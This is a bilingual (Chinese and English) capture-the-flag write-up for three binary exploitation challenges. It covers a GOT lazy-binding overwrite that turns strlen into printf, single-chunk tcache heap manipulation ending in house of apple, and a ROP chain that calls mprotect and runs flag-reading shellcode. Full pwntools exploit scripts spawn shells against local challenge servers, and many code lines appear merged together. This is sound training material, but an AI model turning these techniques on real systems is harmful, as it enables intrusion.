SomeHash
题目实现了简单的 Hash 计算的逻辑,提供了 3 次初始的计算用户输入 Hash 的机会
其中漏洞点在

这里的 v10 没有检查负数,可以向 bss 段上方的数据中写入一字节
这里的利用方法是一个小技巧,来自于 got 表的 lazy 函数注册逻辑,也就是 checksec 显示如下

Lazy 函数注册逻辑
当 ELF 加载时,并不会直接调用 dl_runtime_resolve 将函数注册成真实地址,此时 got 表也是可写的,我们再观察一下这里 got 表指向,这里指向的是 plt 上方的一个地址,可以看到这里的 exit 函数,got 表进入的是 0x1030 的位置,之后 jmp 到了 0x1020 的函数,0x1020 函数内会 jmp 到 0x5010 的位置,也就是 pwndbg 中的_dl_runtijme_resolve_xsavec


关于对于dl_runtime_resolve的内容这里就不赘述了,网上有很多教程。这里我们并不需要关心dl_runtime_resolve做了什么,我们只需要动态观察 got 表未注册的内容的规律,在上面的 pwndbg 显示的,注意这里 got 表是可写的,那么我们就有一个大胆的猜想,如果我们在函数注册之前,修改了 got 表里的数据会怎么样?
可以看到的是,在函数注册前,got 表内容十分相近,相差只有一个 byte,上述的数组下标溢出的漏洞非常合适这里的利用。
strlen2printf
这里有一个非常合适的错误注册的函数 ——strlen
这里 main 函数逻辑中,调用 strlen 是在漏洞利用之后,我们可以修改未注册的 strlen 的 got 表内容,改成 printf 的偏移,使得 strlen 错误的注册成 printf 函数,而在接下来的函数调用中,buf 内容是可控的,导致我们可以将数组下标溢出漏洞转换成 printf 格式化字符串漏洞
(并且,printf 的返回值是输出字符的数量,strlen 也是字符数量,并不影响后续程序的逻辑)

至此,我们构造了一个非栈上字符串的格式化字符串漏洞,而这个问题也已经有方法解决https://www.freebuf.com/vuls/284210.html
EXP
完整 exp 如下,直接使用格式化字符串提权是困难的,因为一共只有 4 次机会,我们可以利用这四次机会,修改 dword_5078 地址内容,使得 while 的次数变多,最后完成格式化字符串攻击
from pwn import *
context.log_level = 'debug'
# io = process("./somehash")io = remote("127.0.0.1", 9999)tob = lambda x: str(x).encode()
io.sendlineafter(b"name length> ", tob(-0x98))
payload = flat({ 0: b"xxx>%6$p->%19$p->%21$p-", 0x80-2: b"a"})io.sendlineafter(b"name> ", payload)
io.recvuntil(b"xxx>")stack = int(io.recvuntil(b"-", drop=True), 16)log.success(f"stack : {stack:#x}")
io.recvuntil(b">")libc_leak = int(io.recvuntil(b"-", drop=True), 16)log.success(f"libc_leak : {libc_leak:#x}")
io.recvuntil(b">")elf_leak = int(io.recvuntil(b"-", drop=True), 16)log.success(f"elf_leak : {elf_leak:#x}")
elf_base = elf_leak - 0x258blog.success(f"elf_base : {elf_base:#x}")
libc_base = libc_leak - 0x29d90log.success(f"libc_base : {libc_base:#x}")
stack_target = stack - 0x100payload = f"%{stack_target % 0x10000}c%23$hn".encode()io.sendlineafter(b"content> ", payload)
target = elf_base + 0x05078 # cntpayload = f"%{target % 0x10000}c%53$hn".encode()io.sendlineafter(b"content> ", payload)
payload = f"%{0x100 - 200}c%21$hn".encode()io.sendlineafter(b"content> ", payload)
stack_target = stack - 0x110payload = f"%{stack_target % 0x10000}c%23$hn".encode()io.sendlineafter(b"content> ", payload)
write = libc_base + 0x000000000002a3e5 # pop rdifor i in range(6): target = stack_target + i payload = f"%{target % 0x100}c%23$hhn".encode() io.sendlineafter(b"content> ", payload)
payload = f"%{(write // (0x100 ** i)) % (0x100)}c%53$hhn".encode() io.sendlineafter(b"content> ", payload)
stack_target = stack - 0x110 + 0x8payload = f"%{stack_target % 0x10000}c%23$hn".encode()io.sendlineafter(b"content> ", payload)
write = elf_base + 0x50c0 # ->"/bin/sh"for i in range(6): target = stack_target + i payload = f"%{target % 0x100}c%23$hhn".encode() io.sendlineafter(b"content> ", payload)
payload = f"%{(write // (0x100 ** i)) % (0x100)}c%53$hhn".encode() io.sendlineafter(b"content> ", payload)
stack_target = stack - 0x110 + 0x10payload = f"%{stack_target % 0x10000}c%23$hn".encode()io.sendlineafter(b"content> ", payload)
write = libc_base + 0x000000000002a3e5+1 # retfor i in range(6): target = stack_target + i payload = f"%{target % 0x100}c%23$hhn".encode() io.sendlineafter(b"content> ", payload)
payload = f"%{(write // (0x100 ** i)) % (0x100)}c%53$hhn".encode() io.sendlineafter(b"content> ", payload)
stack_target = stack - 0x110 + 0x18payload = f"%{stack_target % 0x10000}c%23$hn".encode()io.sendlineafter(b"content> ", payload)
write = libc_base + 0x50d60 # systemfor i in range(6): target = stack_target + i payload = f"%{target % 0x100}c%23$hhn".encode() io.sendlineafter(b"content> ", payload)
payload = f"%{(write // (0x100 ** i)) % (0x100)}c%53$hhn".encode() io.sendlineafter(b"content> ", payload)
io.sendlineafter(b"content> ", b"/bin/sh\x00")io.sendlineafter(b"content> ", b"/bin/sh\x00")io.sendlineafter(b"content> ", b"/bin/sh\x00")io.sendlineafter(b"content> ", b"/bin/sh\x00")
pause(1)io.sendline(b"cat flag")
io.interactive()
ps: 附录中有调试使用的 dockerfile 与 docker-compose.yml
SomeTime
本题是单个堆块的堆风水题目,是一个你与 some 从恶魔手中夺取 flag 的合作历险故事
漏洞点在
SIGALARM 的信号处理函数 watch 中

这里会将 now 指针中的低位字节清零,剧情中,some 在最后时刻能为你做到最后的事情。
信号注册在 init 函数中
思路也比较简单只需要利用 tcachebin 机制,把 tcachebin 当作以前 pwn 可以保存多个堆块的题目的堆块数组即可
为了做到上述内容,我们要保证每次申请释放的 size 大小不同,即可在 tcachebin 中只存在一个堆块
由于我们可以将申请出来的指针做低字节的修改,所以我们可以很方便的构造堆叠,修改 tcachebin 的 size 位使得 size 变大,扩大溢出范围,之后我们可以通过重复申请 tcachebin 内容的堆块,泄露地址,最后完成 fd 修改,最后 houseofapple 一把梭
关于堆风水
这道一题目,我们需要尽量申请时候使用不同的 size,否则将会申请出相同地址的堆块,或者这里可以多次 add,使得申请多个无指针引用内存,使得内存地址扩展,之后篡改 size 顶部 tcachebin,size 位置,使得刚好大小超过 0x420 并能完美覆盖中间 tcache,衔接上后方伪造的 size,使得此时 free 后能进入 unsortedbin,从而可以泄露 main_arena 地址,使得泄露 libc 地址。
之后就是修改 tcachebin 的 count 使得大于 1,这里就要一些堆风水的技巧,一种可行的思路是,我们构造一种堆叠,使得一个大的 tcachebin 堆块覆盖两个及其以上的堆块,这样我们就可以同时操控 chunk1 和 chunk2 的内容,控制这两个 size 设置为相同的即可
(注意由于本题目只能拿到一个堆块做操作,也就是修改 fakechunk 的时候 chunk1 与 2 是在 tcachebin 中的,tacachebin 中并不检查 malloc 取出的堆块大小是否正确,同时这里修改 chunk2 时候,注意恢复 chunk1 的 fd 和 key 字段)
| ---------- fake chunk -------------------|...-| --- chunk1 --- | --- chunk2 --- | -...EXP
PS:由于本题做了大量的 sleep 操作,这里在本地调试的时候需要 patch 掉 sleep 的时间,使得调试变快
在程序最后需要等待时间到达,系统自动调用 exit 退出即可获得 shell
from pwn import *
context.log_level = 'info'context.arch = 'amd64'
# io = process(b"./sometime")io = remote("127.0.0.1", 9999)tob = lambda x: str(x).encode()
def add(size, content): io.sendlineafter(b"(1:add,2:release,3:print)> ", b"1") io.sendlineafter(b"size> ", tob(size)) io.sendafter(b"note> ", content)
def free(): io.sendlineafter(b"(1:add,2:release,3:print)> ", b"2")
def show(): io.sendlineafter(b"(1:add,2:release,3:print)> ", b"3")
log.success("exp running ...")add(0x70, b"aaa")free()
add(0x30, b"aaa")free()add(0x40, b"aaa")free()add(0x50, b"aaa")free()
for i in range(0xa0-0x10, 0xf0, 0x10): add(i, b"aaa") free()
add(0x60, b"aaa")free()add(0x70, b"a" * 0x30 + p64(0) + p64(0x5e1) + b"114514")free()
add(0x30, b"aaaa")
io.recvuntil(b"I can only assist up to this point. Sorry.")io.sendline(b"3")
free()add(0x100, b"\n")show()leak = u64(io.recv(6).ljust(8, b"\x00"))libc_base = leak - 0x21a10alog.success(f"libc_base: {libc_base:#x}")free()libc = ELF("./libc.so.6", checksec=False)libc.address = libc_base
add(0x100, b"a" * (0x78) + b"deadbeaf")show()io.recvuntil(b"deadbeaf")heap_addr = u64(io.recv(5).ljust(8, b"\x00")) << 12log.success(f"heap_addr: {heap_addr:#x}")
free()add(0x100, b"a" * (0x80) + b"deadbeaf")show()io.recvuntil(b"deadbeaf")key = u64(io.recv(8).ljust(8, b"\x00"))log.success(f"key: {key:#x}")
free()add(0x100, b"a" * (0x70) + p64(0) + p64(0x51) + p64(heap_addr >> 12))free()
add(0x100, flat({ 0x80: heap_addr >> 12, 0x88: key, 0xc8: 0x31}))free()add(0x50, b"aaaa")free()
add(0x100, flat({ 0x78: 0x31, 0x80: heap_addr >> 12, 0x88: key,}))free()add(0x40, b"aaaa")free()
add(0x100, flat({ 0x78: 0x51, 0x80: (libc.symbols["_IO_list_all"]) ^ (heap_addr >> 12),}))free()add(0x20, b"aaaa")free()
fake_file_addr = heap_addr + 0x7f0# ref: https://blog.csome.cc/p/houseofminho-wp/add(0xe0, flat({ 0x0: b" sh;", 0x28: libc.symbols['system'], 0xa0: fake_file_addr-0x10, # wide data 0x88: fake_file_addr+0x100, # 可写,且内存为0即可 0xD0: fake_file_addr+0x28-0x68, # wide data vtable 0xD8: libc.symbols['_IO_wfile_jumps'], # vtable}, filler=b"\x00"))
add(0x20, p64(fake_file_addr))
io.interactive()
ps: 附录中有调试使用的 dockerfile 与 docker-compose.yml
shutup
此题没有输出,单纯只有输入,没有开 PIE,没有开 canary,漏洞就是栈溢出

但是这里难点是如何泄露,或者如何构造出 libc 的任意地址,很明显,这里不给我们第二次的输入机会
需要注意到,题目给了一个没有调用的函数,可以从数组中取出数据,这里可以利用数组下标负数溢出,使得取出 got 表中 read 地址


获得了 read 地址还不足以能够做到取出 libc 任意地址,但是如果这里的qword_601060 += atoi(nptr);逻辑就很巧妙,如果我们能够按照下面的方法控制执行流,那么我们就能将 read 内容存入 qword_601060 中,之后我们利用 rop,在 bss 上布置一个数字,并使用pop_rdi; ret 0x000400703的手法,就能在 qword_601060 中构造出 read+offset,我们也就能获得 syscall

任意地址写原语
在进入栈溢出函数的开始,我们只能写入 0x40 个字节,很明显,这是不够的,我们需要找到一种方法,能够任意地址写,并能支持写入多个字符。
答案是:依然还是函数 sub_4006B7,我们再次审视下面的函数汇编,会发现,edi 的数值会写入 [rbp-4] 的位置,而 rbp 我们可以通过 pop rbp 的 rop 控制

我们很轻松的就能构造如下的原语
[ pop_rbp, 4 + addr, pop_rdi, 0xde, 0x0004006BB, rbp,]这就能向 addr 中写入 0xde 字节,为什么我们只能写入一个字节呢?因为 edi 的数值后续会作为数组的索引,数字太大会导致索引到不可读的内存,导致段错误,所以为了保险起见,这里我们每次只写入 1 个字节
最后我们就能构造任意地址写的 payload 构造函数
def make_bytes(addr, bbb): target = [] for i in range(len(bbb)): tmp = bbb[i] if tmp == 0: continue template = [ pop_rbp, 4 + addr + i, pop_rdi, tmp, 0x0004006BB, base, ] target.extend(template) return target接下来的内容就比较简单,控制 rdi、rsi、rdx 之后调用 mprotect 修改 bss 的可执行权限,写入 shellcode 即可
但是 rdx 的控制这里利用了,这个部分,控制 r12、rbx 内容使得 call 的内容刚好是 pop rbp,将 call 在栈上写入的地址 pop 掉即可

EXP
from pwn import *
context.log_level = 'debug'context.arch = 'amd64'
shellcode = asm(f"""mov rax, {u64((b"./flag" + bytearray([0]*8))[:8])}push raxmov rdi, rspmov rsi, 0mov rax, 2syscall
mov rdi, 3mov rsi, rspmov rdx, 0x40mov rax, 0syscall
mov rdi, 1mov rsi, rspmov rdx, 0x40mov rax, 1syscall""")
"""0x0000000000400655 : call qword ptr [rbp + 0x48]"""
tob = lambda x: str(x).encode()io = process("./shutup")
mov_rax_libc = 0x0000400696pop_rdi = 0x00000000004007e3get_rax = 0x004006B7call_rax = 0x000000000040064ecall_ptr_rax = 0x00000000004008a3pop_r14_r15 = 0x004007E0pop_rbp = 0x00000000004005c0pop_rsp_r13_r14_r15 = 0x00000000004007ddpop_rbx_rbp_r12_r13_r14_r15 = 0x04007DAjmp_rax = 0x00000000004005b5pop_r13_r14_r15 = 0x0004007DEpop_rsi_r15 = 0x00000000004007e1atoi = 0x00400550
offset = 0x10 # offset 2 syscallbase = 0x00601380io.sendline(flat({ 0: base + 0x38, # rbp 0x8: pop_rdi, 0x10: base + 0x30, 0x18: 0x00400703, # call atoi 0x20: pop_r14_r15, 0x28: b"ls", 0x30: tob(offset).rjust(7, b" ") + b"\x00", 0x38: 0x0601060-0x48,}, filler=b"\x00"))pause(1)
io.send(flat({ 0: tob(0x40000), 0xf: b"\x00"}, filler=b"\x00"))
def make_bytes(addr, bbb): target = [] for i in range(len(bbb)): tmp = bbb[i] if tmp == 0: continue template = [ pop_rbp, 4 + addr + i, pop_rdi, tmp, 0x0004006BB, base, ] target.extend(template) return target
rop_chain = []
rop_chain.extend(make_bytes(base + 0x40, flat( [ pop_rbx_rbp_r12_r13_r14_r15, 0, 0, base + 0x40 + 8 * 8, 7, 0, 0, 0x4007C0, # mov rdx, r13 pop_rbp, 0x0601060, pop_rdi, 2, get_rax, pop_rdi, base & (~0xfff), pop_rsi_r15, 0x1000, 0, 0x000000000040094b, # jmp ptr[rbp] base + 0xe0, shellcode ], filler=b"\x00")))
rop_chain.extend(make_bytes(0x00601068, b"7"))rop_chain.extend(make_bytes(0x00601070, p8(0xa)))
io.sendline(flat({ 0: b"0\x00", 0x10: base, 0x18: rop_chain + [ pop_rdi, 2**32-((0x000601060-0x600fd8)//8), # read got get_rax, 0x0000400715, ]}))
io.shutdown("send")
io.interactive()
不同的 libc,修改一下上面 offset 变量即可
附录
以下是 Ubuntu GLIBC 2.35-0ubuntu3.1 的 docker 调试环境
Dockerfile
FROM ubuntu:22.04@sha256:b492494d8e0113c4ad3fe4528a4b5ff89faa5331f7d52c5c138196f69ce176a6
RUN apt updateRUN apt install socat -yyq
RUN useradd -M -s /bin/false ctf
WORKDIR /appCOPY your_elf flag /app/RUN chmod +x /app/your_elf && chmod -w /app/your_elf && chmod -w /app/flag
USER ctf
CMD ["socat", "TCP-LISTEN:9999,reuseaddr,fork", "EXEC:/app/your_elf"]docker-compose.yml
version: '3'services: pwn-dev: build: . ports: - "9999:9999" privileged: true restart: unless-stopped题目 zip
Translate by Kimi-K3
SomeHash
The challenge implements a simple hash-computation logic and gives you 3 initial chances to compute the hash of user input.
The vulnerability is here:

Here v10 is not checked for negative values, so you can write a single byte into the data above the bss segment.
The exploitation method here is a little trick that comes from the GOT’s lazy binding logic, which is why checksec shows the following:

Lazy binding logic
When an ELF is loaded, it does not directly call dl_runtime_resolve to bind functions to their real addresses, and at this point the GOT is still writable. Let’s look at what the GOT points to here: it points to an address above the PLT. You can see that for the exit function, the GOT entry goes to the position at 0x1030, then jumps to the function at 0x1020, and inside the 0x1020 function it jumps to the position at 0x5010 — which is _dl_runtime_resolve_xsavec in pwndbg.


I won’t go into detail about dl_runtime_resolve here — there are plenty of tutorials online. We don’t need to care about what dl_runtime_resolve does; we only need to dynamically observe the pattern of unbound GOT contents shown in pwndbg above. Note that the GOT is writable at this point. So we can make a bold guess: what happens if we modify the data in the GOT before the function is bound?
As you can see, before binding, the GOT contents are very similar to each other, differing by only one byte. The array index overflow vulnerability above is a perfect fit for exploitation here.
strlen2printf
There is a very suitable function to mis-bind — strlen.
In the main function logic, strlen is called after the vulnerability is triggered. We can modify the unbound GOT entry of strlen to the offset of printf, causing strlen to be incorrectly bound to the printf function. And in the subsequent function call, the contents of buf are controllable, which lets us turn the array index overflow vulnerability into a printf format string vulnerability.
(Moreover, printf’s return value is the number of characters output, and strlen’s is also a character count, so this doesn’t affect the program’s subsequent logic.)

At this point, we have constructed a format string vulnerability where the string is not on the stack, and there is already a known solution to this problem: https://www.freebuf.com/vuls/284210.html
EXP
The full exploit is below. Directly escalating privileges with the format string is difficult because there are only 4 chances in total. We can use these four chances to modify the contents of the dword_5078 address, making the while loop run more times, and finally complete the format string attack.
from pwn import *
context.log_level = 'debug'
# io = process("./somehash")io = remote("127.0.0.1", 9999)tob = lambda x: str(x).encode()
io.sendlineafter(b"name length> ", tob(-0x98))
payload = flat({ 0: b"xxx>%6$p->%19$p->%21$p-", 0x80-2: b"a"})io.sendlineafter(b"name> ", payload)
io.recvuntil(b"xxx>")stack = int(io.recvuntil(b"-", drop=True), 16)log.success(f"stack : {stack:#x}")
io.recvuntil(b">")libc_leak = int(io.recvuntil(b"-", drop=True), 16)log.success(f"libc_leak : {libc_leak:#x}")
io.recvuntil(b">")elf_leak = int(io.recvuntil(b"-", drop=True), 16)log.success(f"elf_leak : {elf_leak:#x}")
elf_base = elf_leak - 0x258blog.success(f"elf_base : {elf_base:#x}")
libc_base = libc_leak - 0x29d90log.success(f"libc_base : {libc_base:#x}")
stack_target = stack - 0x100payload = f"%{stack_target % 0x10000}c%23$hn".encode()io.sendlineafter(b"content> ", payload)
target = elf_base + 0x05078 # cntpayload = f"%{target % 0x10000}c%53$hn".encode()io.sendlineafter(b"content> ", payload)
payload = f"%{0x100 - 200}c%21$hn".encode()io.sendlineafter(b"content> ", payload)
stack_target = stack - 0x110payload = f"%{stack_target % 0x10000}c%23$hn".encode()io.sendlineafter(b"content> ", payload)
write = libc_base + 0x000000000002a3e5 # pop rdifor i in range(6): target = stack_target + i payload = f"%{target % 0x100}c%23$hhn".encode() io.sendlineafter(b"content> ", payload)
payload = f"%{(write // (0x100 ** i)) % (0x100)}c%53$hhn".encode() io.sendlineafter(b"content> ", payload)
stack_target = stack - 0x110 + 0x8payload = f"%{stack_target % 0x10000}c%23$hn".encode()io.sendlineafter(b"content> ", payload)
write = elf_base + 0x50c0 # ->"/bin/sh"for i in range(6): target = stack_target + i payload = f"%{target % 0x100}c%23$hhn".encode() io.sendlineafter(b"content> ", payload)
payload = f"%{(write // (0x100 ** i)) % (0x100)}c%53$hhn".encode() io.sendlineafter(b"content> ", payload)
stack_target = stack - 0x110 + 0x10payload = f"%{stack_target % 0x10000}c%23$hn".encode()io.sendlineafter(b"content> ", payload)
write = libc_base + 0x000000000002a3e5+1 # retfor i in range(6): target = stack_target + i payload = f"%{target % 0x100}c%23$hhn".encode() io.sendlineafter(b"content> ", payload)
payload = f"%{(write // (0x100 ** i)) % (0x100)}c%53$hhn".encode() io.sendlineafter(b"content> ", payload)
stack_target = stack - 0x110 + 0x18payload = f"%{stack_target % 0x10000}c%23$hn".encode()io.sendlineafter(b"content> ", payload)
write = libc_base + 0x50d60 # systemfor i in range(6): target = stack_target + i payload = f"%{target % 0x100}c%23$hhn".encode() io.sendlineafter(b"content> ", payload)
payload = f"%{(write // (0x100 ** i)) % (0x100)}c%53$hhn".encode() io.sendlineafter(b"content> ", payload)
io.sendlineafter(b"content> ", b"/bin/sh\x00")io.sendlineafter(b"content> ", b"/bin/sh\x00")io.sendlineafter(b"content> ", b"/bin/sh\x00")io.sendlineafter(b"content> ", b"/bin/sh\x00")
pause(1)io.sendline(b"cat flag")
io.interactive()
ps: The appendix contains the Dockerfile and docker-compose.yml used for debugging.
SomeTime
This is a heap feng shui challenge with a single chunk — a cooperative adventure story in which you and some seize the flag from a demon.
The vulnerability is
in the SIGALARM signal handler watch:

Here, the low byte of the now pointer is cleared. In the storyline, this is the last thing some can do for you at the final moment.
The signal is registered in the init function.
The idea is fairly simple: just use the tcache bin mechanism — treat the tcache bins as the chunk array of old-school pwn challenges that let you hold multiple chunks.
To achieve this, we need to make sure each alloc/free uses a different size, so that only one chunk exists in each tcache bin.
Since we can modify the low byte of the allocated pointer, we can conveniently construct overlapping chunks, modify the size field of a tcache bin chunk to make it bigger and expand the overflow range. Then, by repeatedly allocating the chunks inside the tcache bins, we can leak addresses, and finally modify fd and finish with a one-shot house of apple.
About heap feng shui
For this challenge, we need to use different sizes as much as possible when allocating, otherwise we will get chunks at the same address. Alternatively, we can call add multiple times here to allocate multiple pieces of memory with no pointer references, extending the memory region. Then we tamper with the size field of the top tcache bin chunk so its size is just over 0x420 and perfectly covers the tcache in the middle, connecting with the fake size behind it, so that freeing it lands the chunk in the unsorted bin. This lets us leak the main_arena address, and therefore the libc address.
Next we modify the tcache bin count to be greater than 1, which requires some heap feng shui tricks. One feasible idea is to construct an overlap such that one large tcache bin chunk covers two or more chunks. This way we can manipulate the contents of chunk1 and chunk2 at the same time, and just set the two sizes to the same value.
(Note that since this challenge only gives us one chunk to operate on — i.e., when modifying the fake chunk, chunk1 and chunk2 are inside tcache bins — and tcache bins don’t check whether the size of a chunk taken out by malloc is correct. Also, when modifying chunk2 here, remember to restore chunk1’s fd and key fields.)
| ---------- fake chunk -------------------|...-| --- chunk1 --- | --- chunk2 --- | -...EXP
PS: Since this challenge does a lot of sleeping, you need to patch out the sleep time when debugging locally to make debugging faster.
At the end of the program, wait for the time to run out and the system will automatically call exit to give you a shell.
from pwn import *
context.log_level = 'info'context.arch = 'amd64'
# io = process(b"./sometime")io = remote("127.0.0.1", 9999)tob = lambda x: str(x).encode()
def add(size, content): io.sendlineafter(b"(1:add,2:release,3:print)> ", b"1") io.sendlineafter(b"size> ", tob(size)) io.sendafter(b"note> ", content)
def free(): io.sendlineafter(b"(1:add,2:release,3:print)> ", b"2")
def show(): io.sendlineafter(b"(1:add,2:release,3:print)> ", b"3")
log.success("exp running ...")add(0x70, b"aaa")free()
add(0x30, b"aaa")free()add(0x40, b"aaa")free()add(0x50, b"aaa")free()
for i in range(0xa0-0x10, 0xf0, 0x10): add(i, b"aaa") free()
add(0x60, b"aaa")free()add(0x70, b"a" * 0x30 + p64(0) + p64(0x5e1) + b"114514")free()
add(0x30, b"aaaa")
io.recvuntil(b"I can only assist up to this point. Sorry.")io.sendline(b"3")
free()add(0x100, b"\n")show()leak = u64(io.recv(6).ljust(8, b"\x00"))libc_base = leak - 0x21a10alog.success(f"libc_base: {libc_base:#x}")free()libc = ELF("./libc.so.6", checksec=False)libc.address = libc_base
add(0x100, b"a" * (0x78) + b"deadbeaf")show()io.recvuntil(b"deadbeaf")heap_addr = u64(io.recv(5).ljust(8, b"\x00")) << 12log.success(f"heap_addr: {heap_addr:#x}")
free()add(0x100, b"a" * (0x80) + b"deadbeaf")show()io.recvuntil(b"deadbeaf")key = u64(io.recv(8).ljust(8, b"\x00"))log.success(f"key: {key:#x}")
free()add(0x100, b"a" * (0x70) + p64(0) + p64(0x51) + p64(heap_addr >> 12))free()
add(0x100, flat({ 0x80: heap_addr >> 12, 0x88: key, 0xc8: 0x31}))free()add(0x50, b"aaaa")free()
add(0x100, flat({ 0x78: 0x31, 0x80: heap_addr >> 12, 0x88: key,}))free()add(0x40, b"aaaa")free()
add(0x100, flat({ 0x78: 0x51, 0x80: (libc.symbols["_IO_list_all"]) ^ (heap_addr >> 12),}))free()add(0x20, b"aaaa")free()
fake_file_addr = heap_addr + 0x7f0# ref: https://blog.csome.cc/p/houseofminho-wp/add(0xe0, flat({ 0x0: b" sh;", 0x28: libc.symbols['system'], 0xa0: fake_file_addr-0x10, # wide data 0x88: fake_file_addr+0x100, # just needs to be writable, with the memory being 0 0xD0: fake_file_addr+0x28-0x68, # wide data vtable 0xD8: libc.symbols['_IO_wfile_jumps'], # vtable}, filler=b"\x00"))
add(0x20, p64(fake_file_addr))
io.interactive()
ps: The appendix contains the Dockerfile and docker-compose.yml used for debugging.
shutup
This challenge has no output — input only. PIE is disabled and canary is disabled. The vulnerability is a stack overflow.

But the difficulty here is how to leak, or how to construct an arbitrary libc address. Clearly, we are not given a second chance to input.
Note that the challenge provides an uncalled function that fetches data from an array. Here we can exploit the negative array index overflow to fetch the address of read from the GOT.


Getting the read address alone is not enough to fetch an arbitrary libc address, but the qword_601060 += atoi(nptr); logic here is quite clever. If we can control the execution flow in the way shown below, we can store the read contents into qword_601060. Then, using ROP, we place a number on the bss and use the pop_rdi; ret 0x000400703 trick to construct read+offset in qword_601060, which gives us syscall.

Arbitrary address write primitive
At the start of the stack overflow function, we can only write 0x40 bytes — clearly not enough. We need to find a way to write to arbitrary addresses, and to support writing multiple characters.
The answer: still the function sub_4006B7. If we re-examine the function’s assembly below, we find that the value of edi is written to the [rbp-4] position, and rbp can be controlled via a pop rbp ROP gadget.

We can easily construct the following primitive:
[ pop_rbp, 4 + addr, pop_rdi, 0xde, 0x0004006BB, rbp,]This writes the byte 0xde into addr. Why can we only write one byte at a time? Because the value of edi is later used as an array index; too large a value would index into unreadable memory and cause a segfault. So, to be safe, we only write 1 byte each time.
Finally, we can construct the payload builder function for arbitrary address write:
def make_bytes(addr, bbb): target = [] for i in range(len(bbb)): tmp = bbb[i] if tmp == 0: continue template = [ pop_rbp, 4 + addr + i, pop_rdi, tmp, 0x0004006BB, base, ] target.extend(template) return targetThe rest is relatively simple: control rdi, rsi, and rdx, then call mprotect to make the bss executable, and write the shellcode.
But rdx is controlled using this part: control the contents of r12 and rbx so that the call target happens to be pop rbp, popping off the address that the call pushes onto the stack.

EXP
from pwn import *
context.log_level = 'debug'context.arch = 'amd64'
shellcode = asm(f"""mov rax, {u64((b"./flag" + bytearray([0]*8))[:8])}push raxmov rdi, rspmov rsi, 0mov rax, 2syscall
mov rdi, 3mov rsi, rspmov rdx, 0x40mov rax, 0syscall
mov rdi, 1mov rsi, rspmov rdx, 0x40mov rax, 1syscall""")
"""0x0000000000400655 : call qword ptr [rbp + 0x48]"""
tob = lambda x: str(x).encode()io = process("./shutup")
mov_rax_libc = 0x0000400696pop_rdi = 0x00000000004007e3get_rax = 0x004006B7call_rax = 0x000000000040064ecall_ptr_rax = 0x00000000004008a3pop_r14_r15 = 0x004007E0pop_rbp = 0x00000000004005c0pop_rsp_r13_r14_r15 = 0x00000000004007ddpop_rbx_rbp_r12_r13_r14_r15 = 0x04007DAjmp_rax = 0x00000000004005b5pop_r13_r14_r15 = 0x0004007DEpop_rsi_r15 = 0x00000000004007e1atoi = 0x00400550
offset = 0x10 # offset 2 syscallbase = 0x00601380io.sendline(flat({ 0: base + 0x38, # rbp 0x8: pop_rdi, 0x10: base + 0x30, 0x18: 0x00400703, # call atoi 0x20: pop_r14_r15, 0x28: b"ls", 0x30: tob(offset).rjust(7, b" ") + b"\x00", 0x38: 0x0601060-0x48,}, filler=b"\x00"))pause(1)
io.send(flat({ 0: tob(0x40000), 0xf: b"\x00"}, filler=b"\x00"))
def make_bytes(addr, bbb): target = [] for i in range(len(bbb)): tmp = bbb[i] if tmp == 0: continue template = [ pop_rbp, 4 + addr + i, pop_rdi, tmp, 0x0004006BB, base, ] target.extend(template) return target
rop_chain = []
rop_chain.extend(make_bytes(base + 0x40, flat( [ pop_rbx_rbp_r12_r13_r14_r15, 0, 0, base + 0x40 + 8 * 8, 7, 0, 0, 0x4007C0, # mov rdx, r13 pop_rbp, 0x0601060, pop_rdi, 2, get_rax, pop_rdi, base & (~0xfff), pop_rsi_r15, 0x1000, 0, 0x000000000040094b, # jmp ptr[rbp] base + 0xe0, shellcode ], filler=b"\x00")))
rop_chain.extend(make_bytes(0x00601068, b"7"))rop_chain.extend(make_bytes(0x00601070, p8(0xa)))
io.sendline(flat({ 0: b"0\x00", 0x10: base, 0x18: rop_chain + [ pop_rdi, 2**32-((0x000601060-0x600fd8)//8), # read got get_rax, 0x0000400715, ]}))
io.shutdown("send")
io.interactive()
For a different libc, just modify the offset variable above.
Appendix
Below is the Docker debugging environment for Ubuntu GLIBC 2.35-0ubuntu3.1.
Dockerfile
FROM ubuntu:22.04@sha256:b492494d8e0113c4ad3fe4528a4b5ff89faa5331f7d52c5c138196f69ce176a6
RUN apt updateRUN apt install socat -yyq
RUN useradd -M -s /bin/false ctf
WORKDIR /appCOPY your_elf flag /app/RUN chmod +x /app/your_elf && chmod -w /app/your_elf && chmod -w /app/flag
USER ctf
CMD ["socat", "TCP-LISTEN:9999,reuseaddr,fork", "EXEC:/app/your_elf"]docker-compose.yml
version: '3'services: pwn-dev: build: . ports: - "9999:9999" privileged: true restart: unless-stoppedChallenge zip